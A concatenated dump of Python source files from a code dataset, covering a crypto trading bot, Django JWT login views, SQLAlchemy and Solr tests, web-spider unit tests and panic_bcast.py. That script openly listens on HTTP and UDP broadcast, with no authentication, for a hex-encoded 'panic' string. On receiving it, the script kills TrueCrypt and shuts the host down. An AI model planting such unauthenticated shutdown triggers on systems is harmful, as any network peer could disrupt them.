Logger\n self.logger = logging.getLogger(self.__class__.__name__)\n\n # Advanced\n AdvancedManager.create_class_list(self.config)\n\n # Debug tools\n self.performance_analyser = None\n if CONFIG_DEBUG_OPTION_PERF in self.config and self.config[CONFIG_DEBUG_OPTION_PERF]:\n self.performance_analyser = PerformanceAnalyser()\n\n self.time_frames = TimeFrameManager.get_config_time_frame(self.config)\n\n # Add services to self.config[CONFIG_CATEGORY_SERVICES]\n ServiceCreator.create_services(self.config)\n\n # Notifier\n self.config[CONFIG_NOTIFICATION_INSTANCE] = Notification(self.config)\n\n # Notify starting\n self.config[CONFIG_NOTIFICATION_INSTANCE].notify_with_all(NOTIFICATION_STARTING_MESSAGE)\n\n # Backtesting\n self.backtesting_enabled = None\n\n self.symbol_threads_manager = {}\n self.exchange_traders = {}\n self.exchange_trader_simulators = {}\n self.exchanges_list = {}\n self.symbol_evaluator_list = {}\n self.crypto_currency_evaluator_list = {}\n self.dispatchers_list = []\n self.symbol_time_frame_updater_threads = []\n\n def create_exchange_traders(self):\n self.backtesting_enabled = Backtesting.enabled(self.config)\n\n available_exchanges = ccxt.exchanges\n for exchange_class_string in self.config[CONFIG_EXCHANGES]:\n if exchange_class_string in available_exchanges:\n exchange_type = getattr(ccxt, exchange_class_string)\n\n # Backtesting Exchange\n if self.backtesting_enabled:\n exchange_inst = ExchangeSimulator(self.config, exchange_type)\n else:\n # True Exchange\n exchange_inst = Exchange(self.config, exchange_type)\n\n self.exchanges_list[exchange_inst.get_name()] = exchange_inst\n\n # create trader instance for this exchange\n exchange_trader = Trader(self.config, exchange_inst)\n self.exchange_traders[exchange_inst.get_name()] = exchange_trader\n\n # create trader simulator instance for this exchange\n exchange_trader_simulator = TraderSimulator(self.config, exchange_inst)\n self.exchange_trader_simulators[exchange_inst.get_name()] = exchange_trader_simulator\n else:\n self.logger.error(\"{0} exchange not found\".format(exchange_class_string))\n\n def create_evaluation_threads(self):\n self.logger.info(\"Evaluation threads creation...\")\n\n # create dispatchers\n self.dispatchers_list = EvaluatorCreator.create_dispatchers(self.config)\n\n # create Social and TA evaluators\n for crypto_currency, crypto_currency_data in self.config[CONFIG_CRYPTO_CURRENCIES].items():\n\n # create crypto_currency evaluator\n crypto_currency_evaluator = CryptocurrencyEvaluator(self.config, crypto_currency, self.dispatchers_list)\n self.crypto_currency_evaluator_list[crypto_currency] = crypto_currency_evaluator\n\n # create TA evaluators\n for symbol in crypto_currency_data[CONFIG_CRYPTO_PAIRS]:\n\n # create symbol evaluator\n symbol_evaluator = SymbolEvaluator(self.config, symbol, crypto_currency_evaluator)\n symbol_evaluator.set_traders(self.exchange_traders)\n symbol_evaluator.set_trader_simulators(self.exchange_trader_simulators)\n\n crypto_currency_evaluator.add_symbol_evaluator(symbol, symbol_evaluator)\n self.symbol_evaluator_list[symbol] = symbol_evaluator\n\n for exchange in self.exchanges_list.values():\n if exchange.enabled():\n\n # Verify that symbol exists on this exchange\n if symbol in exchange.get_traded_pairs():\n self._create_symbol_threads_managers(symbol,\n exchange,\n symbol_evaluator)\n\n # notify that exchange doesn't support this symbol\n else:\n if not self.backtesting_enabled:\n self.logger.warning(\"{0} doesn't support {1}\".format(exchange.get_name(), symbol))\n\n def _create_symbol_threads_managers(self, symbol, exchange, symbol_evaluator):\n # Create real time TA evaluators\n real_time_ta_eval_list = EvaluatorCreator.create_real_time_ta_evals(self.config,\n exchange,\n symbol)\n symbol_time_frame_updater_thread = SymbolTimeFramesDataUpdaterThread()\n for time_frame in self.time_frames:\n if exchange.time_frame_exists(time_frame.value):\n self.symbol_threads_manager[time_frame] = EvaluatorThreadsManager(self.config,\n symbol,\n time_frame,\n symbol_time_frame_updater_thread,\n symbol_evaluator,\n exchange,\n real_time_ta_eval_list)\n self.symbol_time_frame_updater_threads.append(symbol_time_frame_updater_thread)\n\n def start_threads(self):\n if self.performance_analyser:\n self.performance_analyser.start()\n\n for crypto_currency_evaluator in self.crypto_currency_evaluator_list.values():\n crypto_currency_evaluator.start_threads()\n\n for manager in self.symbol_threads_manager.values():\n manager.start_threads()\n\n for thread in self.symbol_time_frame_updater_threads:\n thread.start()\n\n for thread in self.dispatchers_list:\n thread.start()\n\n self.ready = True\n self.logger.info(\"Evaluation threads started...\")\n\n def join_threads(self):\n for manager in self.symbol_threads_manager:\n self.symbol_threads_manager[manager].join_threads()\n\n for thread in self.symbol_time_frame_updater_threads:\n thread.join()\n\n for crypto_currency_evaluator in self.crypto_currency_evaluator_list.values():\n crypto_currency_evaluator.join_threads()\n\n for trader in self.exchange_traders.values():\n trader.join_order_manager()\n\n for trader_simulator in self.exchange_trader_simulators.values():\n trader_simulator.join_order_manager()\n\n for thread in self.dispatchers_list:\n thread.join()\n\n if self.performance_analyser:\n self.performance_analyser.join()\n\n def stop_threads(self):\n # Notify stopping\n self.config[CONFIG_NOTIFICATION_INSTANCE].notify_with_all(NOTIFICATION_STOPPING_MESSAGE)\n\n self.logger.info(\"Stopping threads ...\")\n\n for thread in self.symbol_time_frame_updater_threads:\n thread.stop()\n\n for manager in self.symbol_threads_manager.values():\n manager.stop_threads()\n\n for crypto_currency_evaluator in self.crypto_currency_evaluator_list.values():\n crypto_currency_evaluator.stop_threads()\n\n for trader in self.exchange_traders.values():\n trader.stop_order_manager()\n\n for trader_simulator in self.exchange_trader_simulators.values():\n trader_simulator.stop_order_manager()\n\n for thread in self.dispatchers_list:\n thread.stop()\n\n if self.performance_analyser:\n self.performance_analyser.stop()\n\n # stop services\n for service_instance in ServiceCreator.get_service_instances(self.config):\n try:\n service_instance.stop()\n except Exception as e:\n raise e\n\n self.logger.info(\"Threads stopped.\")\n\n def get_symbols_threads_manager(self):\n return self.symbol_threads_manager\n\n def get_exchange_traders(self):\n return self.exchange_traders\n\n def get_exchange_trader_simulators(self):\n return self.exchange_trader_simulators\n\n def get_exchanges_list(self):\n return self.exchanges_list\n\n def get_symbol_evaluator_list(self):\n return self.symbol_evaluator_list\n\n def get_crypto_currency_evaluator_list(self):\n return self.crypto_currency_evaluator_list\n\n def get_dispatchers_list(self):\n return self.dispatchers_list\n\n def get_symbol_time_frame_updater_threads(self):\n return self.symbol_time_frame_updater_threads\n\n def get_start_time(self):\n return self.start_time\n\n def is_ready(self):\n return self.ready\n","sub_path":"cryptobot.py","file_name":"cryptobot.py","file_ext":"py","file_size_in_byte":10319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"330469724","text":"from ftw.builder import Builder\nfrom ftw.builder import create\nfrom ftw.testbrowser import browsing\nfrom opengever.testing import SolrIntegrationTestCase\nimport random\n\n\nclass TestSolrIsolation(SolrIntegrationTestCase):\n\n @browsing\n def test_solr_search_results_with_dynamic_content(self, browser):\n self.login(self.regular_user, browser=browser)\n\n random_title = u'uniqueterm%s' % str(random.randint(1, 10000))\n create(Builder('dossier')\n .titled(random_title)\n .within(self.repository_root))\n\n self.commit_solr()\n\n browser.open(self.repository_root,\n view='@solrsearch?q=uniqueterm*',\n headers={'Accept': 'application/json'})\n\n result = browser.json\n self.assertEqual(1, result['items_total'])\n self.assertEqual(1, len(result['items']))\n self.assertEqual(random_title, result['items'][0]['title'])\n\n# Create an additional copy of the above test that would fail if isolation\n# didn't work between tests (i.e. if created objects in Solr would leak\n# between test runs instead of getting reset to the layer snapshot).\n\nsetattr(TestSolrIsolation, 'test_solr_search_results_with_dynamic_content_1',\n TestSolrIsolation.test_solr_search_results_with_dynamic_content)\n","sub_path":"opengever/testing/tests/test_solr.py","file_name":"test_solr.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"337469271","text":"import jwt\nfrom django.conf import settings\nfrom django.contrib.auth import authenticate\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework import status\nfrom .serializers import UserSerializer\nfrom rooms.serializers import RoomSerializer\nfrom .models import User\nfrom rooms.models import Room\n\n\n# create account : POST -> api/v1/users\nclass UsersView(APIView):\n def post(self, request):\n serializer = UserSerializer(data=request.data)\n if serializer.is_valid():\n new_user = serializer.save()\n return Response(UserSerializer(new_user).data)\n else:\n return Response(data=serializers.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n# Login View는 별기능이 없으니 FBV로 만들자\n@api_view([\"POST\"])\ndef login(request):\n username = request.data.get(\"username\")\n password = request.data.get(\"password\")\n if not username or not password:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n # 장고는 authentication function이 있다.\n # 이 function은 username과 password를 비교해 맞으면 그 user를 return 해준다.\n\n user = authenticate(username=username, password=password)\n # 우리는 일치하는 인증된 user를 얻었다.\n # 이 user를 JWT(JSON WEB TOKEN)으로 보내줘야함\n if user is not None:\n encoded_jwt = jwt.encode(\n {\"pk\": user.pk}, settings.SECRET_KEY, algorithm=\"HS256\"\n )\n return Response(data={\"token\": encoded_jwt})\n else:\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n # jwt에는 절때 네버 민감한정보는 담아서는 안된다.\n # 근데 의문점은 이 토큰을 jwt.io에서 너무쉽게 decoded해 안의 정보를 볼수 있다.\n # 그럼 왜쓰냐 이건데\n # 우리의 server는 token이 다른사람에의해 수정되었냐를 체크할수있다.\n # jwt를 쓰는이유는 그 누구도 우리의 token을 건들지 않았다는 것을 확인하는 용도이다.\n # 다시말하면 데이터(token안의 정보)를 아무도 못보게 암호화하는 것이 목적이아니라\n # 이 데이터를 누군가가 건드렸느냐 아니면 그대로이냐가 더 중요한 Point임\n # 프론트엔드에서 이 토큰을 받아서 header로 전송해주면 그 token은 decode 과정을 거쳐\n # 실제정보로 변환된다.\n\n\nclass MyView(APIView):\n permission_classes = [IsAuthenticated]\n\n def get(self, request):\n return Response(UserSerializer(request.user).data)\n\n def put(self, request):\n user = request.user\n serializer = UserSerializer(user, data=request.data, partial=True)\n if serializer.is_valid():\n user = serializer.save()\n return Response(UserSerializer(user).data)\n else:\n return Response(data=serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass FavsView(APIView):\n permission_classes = [IsAuthenticated]\n\n def get(self, request):\n user = request.user\n serializer = RoomSerializer(user.favs.all(), many=True).data\n return Response(serializer)\n\n def put(self, request):\n pk = request.data.get(\"pk\", None)\n user = request.user\n if pk is not None:\n try:\n room = Room.objects.get(pk=pk)\n if room in user.favs.all():\n user.favs.remove(room)\n else:\n user.favs.add(room)\n serializer = RoomSerializer(user.favs.all(), many=True).data\n return Response(serializer)\n except Room.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n else:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n\n# GET : api/v1/users/12\n@api_view([\"GET\"])\ndef user_detail(request, pk):\n try:\n user = User.objects.get(pk=pk)\n serializer = UserSerializer(user).data\n return Response(serializer)\n except User.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638415302","text":"import unittest\n\nfrom coaster.db import db\nfrom coaster.sqlalchemy import BaseMixin, CoordinatesMixin\n\nfrom .test_sqlalchemy_models import app2\n\n\nclass CoordinatesData(BaseMixin, CoordinatesMixin, db.Model):\n __tablename__ = 'coordinates_data'\n\n\n# -- Tests --------------------------------------------------------------------\n\n\nclass TestCoordinatesColumn(unittest.TestCase):\n # Restrict tests to PostgreSQL as SQLite3 doesn't have a Decimal type\n app = app2\n\n def setUp(self):\n self.ctx = self.app.test_request_context()\n self.ctx.push()\n db.create_all()\n self.session = db.session\n\n def tearDown(self):\n self.session.rollback()\n db.drop_all()\n self.ctx.pop()\n\n def test_columns_created(self):\n table = CoordinatesData.__table__\n assert isinstance(table.c.latitude.type, db.Numeric)\n assert isinstance(table.c.longitude.type, db.Numeric)\n\n def test_columns_when_null(self):\n data = CoordinatesData()\n assert data.coordinates == (None, None)\n assert data.has_coordinates is False\n\n def test_columns_when_missing(self):\n data = CoordinatesData()\n assert data.has_coordinates is False\n assert data.has_missing_coordinates is True\n data.coordinates = (12, None)\n assert data.has_coordinates is False\n assert data.has_missing_coordinates is True\n data.coordinates = (None, 73)\n assert data.has_coordinates is False\n assert data.has_missing_coordinates is True\n data.coordinates = (12, 73)\n assert data.has_coordinates is True\n assert data.has_missing_coordinates is False # type: ignore[unreachable]\n\n def test_column_set_value(self):\n data = CoordinatesData()\n data.coordinates = (12, 73)\n assert data.coordinates == (12, 73)\n assert data.has_coordinates is True\n db.session.add(data)\n db.session.commit()\n\n readdata = CoordinatesData.query.first()\n assert readdata.coordinates == (12, 73)\n","sub_path":"tests/test_sqlalchemy_coordinates.py","file_name":"test_sqlalchemy_coordinates.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"609631767","text":"#!/usr/bin/python2.7\n# Copyright (c) 2012, Niklas Femerstrand \n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\nimport re\nimport os\nimport socket\nimport threading\nimport BaseHTTPServer\nfrom SimpleHTTPServer import SimpleHTTPRequestHandler\nfrom BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\n\n# Basic HTTP server that listens to GET /panic and triggers panic.\n# Written to provide a standardized interface for panic triggering.\n# To trigger panic through HTTP simply request http://localhost:8080/panic\nclass panicHandler(BaseHTTPRequestHandler):\n\tdef do_GET(self):\n\t\tif self.path == \"/\\x70\\x61\\x6e\\x69\\x63\":\n\t\t\tsendSignal()\n\ndef httpd():\n\ts = HTTPServer(('', 8080), panicHandler)\n\ts.serve_forever()\n\n# TODO: Extend with a C lib that iterates through used physmem addresses and\n# overwrites values in a prio order before triggering poweroff.\n# TODO: Use mountedDrives() to iterate and eject (crypto) mounts\ndef treatPanic():\n\tos.popen(\"killall truecrypt\")\n\t# Linux, possibly more\n\tos.popen(\"shutdown -P now\")\n\t# FreeBSD, possibly more\n\tos.popen(\"shutdown -p now\")\n\ndef sigListener():\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\ts.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\ts.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n\ts.bind((\"\", 1337)) # Listen on all devices\n\n\twhile 1:\n\t\ttry:\n\t\t\tmessage, address = s.recvfrom(5)\n\t\t\tif message == \"\\x70\\x61\\x6e\\x69\\x63\":\n\t\t\t\ttreatPanic()\n\t\texcept:\n\t\t\tpass\n\n# Extracts mounted device names and mount points. Intended to work on\n# everything UNIX. Tested on Linux and FreeBSD (UFS2 and ZFS).\ndef mountedDrives():\n\tdrives = []\n\tmount = os.popen(\"mount | grep -o \\\".* on .* (\\\"\").read()\n\tfor m in mount.split(\"\\n\"):\n\t\tmatches = re.match(\"(.*) on (.*) \\(\", m)\n\t\tif matches:\n\t\t\tdrives.append({ matches.group(1) : matches.group(2) })\n\n\treturn drives\n\ndef bcast():\n\tbcast = os.popen(\"ifconfig | grep -o \\\"broadcast [0-9]*\\.[0-9]*\\.[0-9]*\\.[0-9]*\\\"\").read()\n\tbcast = bcast.replace(\"broadcast \", \"\")\n\n\treturn bcast\n\t\ndef sendSignal():\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\ts.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\ts.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n\ts.sendto(\"\\x70\\x61\\x6e\\x69\\x63\", (bcast(), 1337))\n\ts.close()\n\n\treturn 0\n\nhttpd = threading.Thread(name=\"httpd\", target=httpd)\nhttpd.start()\nsigListener = threading.Thread(name=\"sigListener\", target=sigListener)\nsigListener.start()\n","sub_path":"panic_bcast.py","file_name":"panic_bcast.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"563905071","text":"import spider\nfrom spider import *\n\nfrom warp import proc\nimport unittest\n\n\n# Mock Classes\n\nclass WARP_Mock(warp.WARP):\n\n FORMATTED_ANCHORS_URL = \"http://formatted.urls.com\"\n\n def __init__(self):\n super(WARP_Mock, self).__init__()\n self.get_return_value = None\n self.get_invoked = False\n self.response_str_dict = {\n WARP_Mock.FORMATTED_ANCHORS_URL:\n \"\"\"\n

Title ABC

\n one\n \n two\n \n three\"\"\",\n\n '1': \"\"\"\n

One

\n four\"\"\",\n\n '2': \"\"\"\n

Two

\"\"\",\n\n '3': \"\"\"\n

Three

\"\"\",\n\n '4': \"\"\"\n

Four

\n five\"\"\",\n\n '5': \"\"\"\n

Five

\"\"\",\n }\n\n def get(self, url_base, **kwargs):\n self.get_invoked = True\n if kwargs.get('info_dict')==True:\n return {\n 'req_url': url_base,\n 'content': self.response_str_dict[url_base]\n }\n else:\n return self.response_str_dict[url_base]\n\n\n\n# Helper Classes\n\nclass DataProbe(warp.ExtractorDataSink):\n\n def configure(self):\n self.id = 'data-probe'\n self.version = 1\n self.output_format = 'application/json'\n\n # inspection\n self.invoked = False\n self.considered = False\n self.data = \"NO DATA WRITTEN\"\n\n def process(self, response_str, input_dict):\n self.invoked = True\n self.data = response_str\n\nclass PipelineDataProbe(warp.DataSink):\n\n def configure(self):\n self.id = 'pipeline-data-probe'\n self.version = 1\n self.output_format = None\n\n # inspection\n self.invoked = False\n self.considered = False\n self.data = []\n\n def process(self, input_dict):\n self.invoked = True\n self.data.append(input_dict)\n\nclass UrlPathProbe(event_bus.Action):\n\n def __init__(self):\n self.path = []\n\n def perform_action(self, event):\n self.path.append(event.url)\n\n\n\n# Test Cases\n\nclass SpiderInitialization_TestCase(unittest.TestCase):\n\n def setUp(self):\n self.s = Spider()\n\n resSub = ResponseSubscription(r'/index/.*')\n self.a = ActionProbe('nothing')\n l_ex_re = ReLinkExtractor([r'.*/ind/.*'])\n inj = ExtractAndInjectAction(self.s, l_ex_re)\n self.spec = {\n ResponseEvent : [(resSub, self.a), (resSub, inj)]\n }\n\n def test_chaining(self):\n self.s.at(r'/index/.*').do(self.a).extract_links_with(re=r'.*/ind/.*')\n for (e_type, actions) in self.spec.items():\n for a in actions:\n self.assertIn(a, self.s.bus.action_map[e_type])\n\n def test_instruct(self):\n self.s.instruct(\n at=r'/index/.*',\n do=self.a,\n extract_links=dict(re=r'.*/ind/.*')\n )\n for (e_type, actions) in self.spec.items():\n for a in actions:\n self.assertIn(a, self.s.bus.action_map[e_type])\n\n\nclass Spider_TestCase(unittest.TestCase):\n\n def setUp(self):\n self.spec_graph = networkx.DiGraph()\n self.spec_graph.add_edges_from(\n (\n (WARP_Mock.FORMATTED_ANCHORS_URL, '1', dict(label='one')),\n (WARP_Mock.FORMATTED_ANCHORS_URL, '2', dict(label='two')),\n (WARP_Mock.FORMATTED_ANCHORS_URL, '3', dict(label='three')),\n ('1', '4', dict(label='four')),\n ('4', '5', dict(label='five'))\n )\n )\n for n in self.spec_graph.nodes():\n self.spec_graph.node[n]['visited']=False\n\n def test_eventRegistration(self):\n warp_mock = WARP_Mock()\n\n # events & subscriptions\n initS = ClassSubscriptionWrapper(StartEvent)\n resS = ResponseSubscription(r'.*google.*')\n exReqS = ExtractionRequestSubscription(r'.*')\n\n # actions\n timeProbeA = ActionProbe('time')\n urlProbeA = ActionProbe('url')\n\n s = Spider(web_accessor=warp_mock)\n\n # extractor\n exProbe = DataProbe(caching=False)\n exWrapA = ProcessPipelineAction(s, warp_mock, exProbe)\n\n spec = {\n StartEvent : [(initS, timeProbeA)],\n ResponseEvent : [(resS, urlProbeA)],\n ExtractionRequestEvent : [(exReqS, exWrapA)]\n }\n\n s.append_on_init(timeProbeA)\n s.append_on_response(urlProbeA, r'.*google.*')\n s.append_proc(exProbe, r'.*')\n\n for e_type, actions in spec.items():\n for a in actions:\n self.assertIn(a, s.bus.action_map[e_type])\n\n def test_automaticTemplateMethodRegistration(self):\n s = Spider()\n e = StartEvent()\n init_actions = s.bus.actions_for_event(e)\n self.assertEqual(len(init_actions), 1)\n res_actions = s.bus.actions_for_event(ResponseEvent(Spider(), 'www.xkcd.com', None))\n self.assertEqual(len(res_actions), 1)\n\n def test_extractorPipeline(self):\n warp_mock = WARP_Mock()\n\n ex1 = proc.proc_tests.TitleExtractor(caching=False)\n ex2 = proc.proc_tests.TitleDecorator(caching=False)\n ex3 = PipelineDataProbe(caching=False)\n ex_pipe = warp.ProcessingPipeline(ex1, ex2, ex3)\n\n spec = [{\n 'url': WARP_Mock.FORMATTED_ANCHORS_URL,\n 'title-extractor': {\n 'title': \"Title ABC\"\n },\n 'title-decorator': {\n 'title': \"Title ABC\"\n }\n }]\n\n s = Spider([WARP_Mock.FORMATTED_ANCHORS_URL], web_accessor=warp_mock)\n s.append_proc(ex_pipe, '.*')\n actions = s.bus.actions_for_event(ExtractionRequestEvent(s, WARP_Mock.FORMATTED_ANCHORS_URL))\n self.assertTrue(len(actions), 1)\n\n s.go()\n self.assertTrue(ex1.invoked)\n self.assertTrue(ex2.invoked)\n self.assertTrue(ex3.invoked)\n self.assertItemsEqual(spec, ex3.data)\n\n def test_FIFO_crawl(self):\n s = Spider(\n start_urls=[WARP_Mock.FORMATTED_ANCHORS_URL],\n web_accessor=WARP_Mock(),\n follow_all=True,\n resolve_rel_urls=False\n )\n urlPathProbe = UrlPathProbe()\n s.append_on_response(urlPathProbe)\n s.go()\n self.assertEqual(len(s.finished), 6)\n self.assertEqual(len(s.graph.nodes()), 6)\n self.assertEqual(urlPathProbe.path,\n [ WARP_Mock.FORMATTED_ANCHORS_URL, '1', '2', '3', '4', '5' ]\n )\n\n def test_depth_first_crawl(self):\n s = Spider(\n start_urls=[WARP_Mock.FORMATTED_ANCHORS_URL],\n web_accessor=WARP_Mock(),\n follow_all=True,\n depth_first=True,\n resolve_rel_urls=False\n )\n urlPathProbe = UrlPathProbe()\n s.append_on_response(urlPathProbe)\n s.go()\n self.assertEqual(urlPathProbe.path,\n [ WARP_Mock.FORMATTED_ANCHORS_URL, '1', '4', '5', '3', '2' ]\n )\n\n def test_prioritized_crawl(self):\n s = Spider(\n start_urls=[WARP_Mock.FORMATTED_ANCHORS_URL],\n web_accessor=WARP_Mock(),\n follow_all=True,\n crawl_order=['3', '1', '2', '4', '5'],\n resolve_rel_urls=False\n )\n urlPathProbe = UrlPathProbe()\n s.append_on_response(urlPathProbe)\n s.go()\n self.assertEqual(urlPathProbe.path,\n [ WARP_Mock.FORMATTED_ANCHORS_URL, '3', '1', '2', '4', '5' ]\n )\n\n def test_spiderGraph_dataInjection(self):\n s = Spider(\n start_urls=[ WARP_Mock.FORMATTED_ANCHORS_URL ],\n web_accessor=WARP_Mock(),\n follow_all=True,\n resolve_rel_urls=False\n )\n probe = PipelineDataProbe()\n s.append_proc(probe)\n s.go()\n\n self.assertItemsEqual(\n s.graph.edges(data=True),\n self.spec_graph.edges(data=True)\n )\n\n self.assertEqual(\n probe.data[-1], # of last crawled page\n {\n 'url' : '5',\n 'spider': { 'incoming': [('4', '5', {'label': 'five'})]}\n }\n )\n\n def test_depthFirst_traversal(self):\n t = DepthFirstTraversal(self.spec_graph, [WARP_Mock.FORMATTED_ANCHORS_URL])\n self.assertItemsEqual(\n t.stack,\n [ WARP_Mock.FORMATTED_ANCHORS_URL ]\n )\n\n self.assertEqual(t.next(), WARP_Mock.FORMATTED_ANCHORS_URL)\n self.assertEqual(t.stack, [ ])\n # last = WARP_Mock.FORMATTED_ANCHORS_URL\n\n # stack += ['1', '3', '2']\n self.assertEqual(t.next(), '1')\n self.assertEqual(t.stack, [ ['3', '2'] ])\n # last = '1'\n\n # stack += ['4']\n self.assertEqual(t.next(), '4')\n self.assertEqual(t.stack, [ ['3', '2'], [] ])\n # last = '4'\n\n # stack += ['5']\n self.assertEqual(t.next(), '5')\n self.assertEqual(t.stack, [ ['3', '2'], [], [] ])\n # last = '5'\n\n # stack += []\n self.assertEqual(t.next(), '3')\n self.assertEqual(t.stack, [ ['2'] ])\n # last = '3'\n\n # stack += []\n self.assertEqual(t.next(), '2')\n self.assertEqual(t.stack, [ [] ])\n # last = '2'\n\n self.assertRaises(StopIteration, t.next)\n\n\n\n# Link Extractor\n\nclass XPathLinkExtractor_TestCase(unittest.TestCase):\n\n def setUp(self):\n self.html_snippet = \"\"\"\n

Title ABC

\n one\n \n two\n \n three\n \n four\n \n \"\"\"\n xpath = '//b/a'\n self.xp_link_ex = XPathLinkExtractor(xpath)\n\n def test_extract_anchors(self):\n a_list = self.xp_link_ex.extract_anchors(self.html_snippet)\n spec = [{'href': '#2', 'text': 'two'},\n {'href': '#4', 'text': 'four'}]\n self.assertEqual(spec, a_list)\n\n def test_extract_urls(self):\n url_list = self.xp_link_ex.extract_urls(self.html_snippet)\n spec = ['#2', '#4']\n self.assertEqual(spec, url_list)\n\n\nclass ReLinkExtractor_TestCase(unittest.TestCase):\n\n def setUp(self):\n self.html_snippet = \"\"\"\n

Title ABC

\n one\n \n two\n \n three\n \n four\n \n \"\"\"\n re_list = ['.*[2|4]']\n self.re_link_ex = ReLinkExtractor(re_list)\n\n def test_extract_anchors(self):\n a_list = self.re_link_ex.extract_anchors(self.html_snippet)\n spec = [{'href': '#2', 'text': 'two'},\n {'href': '#4', 'text': 'four'}]\n self.assertEqual(spec, a_list)\n\n\n\n# Actions\n\nclass UrlInjector_TestCase(unittest.TestCase):\n\n def test_extractedUrlInjector(self):\n \"\"\"Test injection of URLs into spider queue.\n \"\"\"\n # set up\n html_snippet = \"\"\"\n

Title ABC

\n one\n \n two\n \n three\n \n four\n \n \"\"\"\n e = ResponseEvent(Spider(), url='xxx', response_str=html_snippet)\n ex = XPathLinkExtractor('//b/a')\n\n # test manual invocation\n s = Spider()\n inj = ExtractAndInjectAction(s, ex)\n inj.perform_action(e)\n self.assertEqual(s.url_queue, ['xxx#2', 'xxx#4'])\n\n # test event bus invocation\n s = Spider()\n inj = ExtractAndInjectAction(s, ex)\n s.append_on_response(inj, r'xxx')\n s.bus.fire(e)\n self.assertEqual(s.url_queue, ['xxx#2', 'xxx#4'])\n\n # test facet registration\n s = Spider()\n s.append_link_extr(ex)\n s.bus.fire(e)\n self.assertEqual(s.url_queue, ['xxx#2', 'xxx#4'])\n\n # test xpath registration\n s = Spider()\n s.append_link_extr_xpath('//b/a')\n s.bus.fire(e)\n self.assertEqual(s.url_queue, ['xxx#2', 'xxx#4'])\n\n # test re registration\n s = Spider()\n s.append_link_extr_re(r'.*#[2|4].*')\n s.bus.fire(e)\n self.assertEqual(s.url_queue, ['xxx#2', 'xxx#4'])\n\n # test follow_all flag\n s = Spider(follow_all=True)\n s.bus.fire(e)\n self.assertEqual(s.url_queue, ['xxx#1', 'xxx#2', 'xxx#3', 'xxx#4'])\n\n\nclass ProcessPipelineAction_TestCase(unittest.TestCase):\n\n def test_extractorWrapperAction(self):\n warp_mock = WARP_Mock()\n\n # extractor\n exProbe = DataProbe(caching=False)\n exWrapA = spider.ProcessPipelineAction(Spider(), warp_mock, exProbe)\n\n # event & subscription\n exReqE = ExtractionRequestEvent(Spider(), WARP_Mock.FORMATTED_ANCHORS_URL)\n exReqS = ExtractionRequestSubscription(r'.*')\n\n bus = EventBus()\n bus.register(exReqS, exWrapA)\n spec = {\n ExtractionRequestEvent : [(exReqS, exWrapA)]\n }\n bus.fire(exReqE)\n self.assertEqual(exProbe.data, warp_mock.get(WARP_Mock.FORMATTED_ANCHORS_URL))\n\n\n\n# Helper Functions\n\nclass GenerateUrlRange_TestCase(unittest.TestCase):\n\n def test_generate(self):\n url_base = 'http://www.google.com'\n query_dict = {'q': [1,2,3]}\n urls = spider.generate_url_range(url_base, query_dict)\n spec = ['http://www.google.com?q=1',\n 'http://www.google.com?q=2',\n 'http://www.google.com?q=3']\n self.assertEqual(spec, urls)\n\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"spider/spider_tests.py","file_name":"spider_tests.py","file_ext":"py","file_size_in_byte":13921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"414205350","text":"#! /bin/env python3\n\n\"\"\"\n# mylog.py - mylog(bag,...) & myerr(bag, 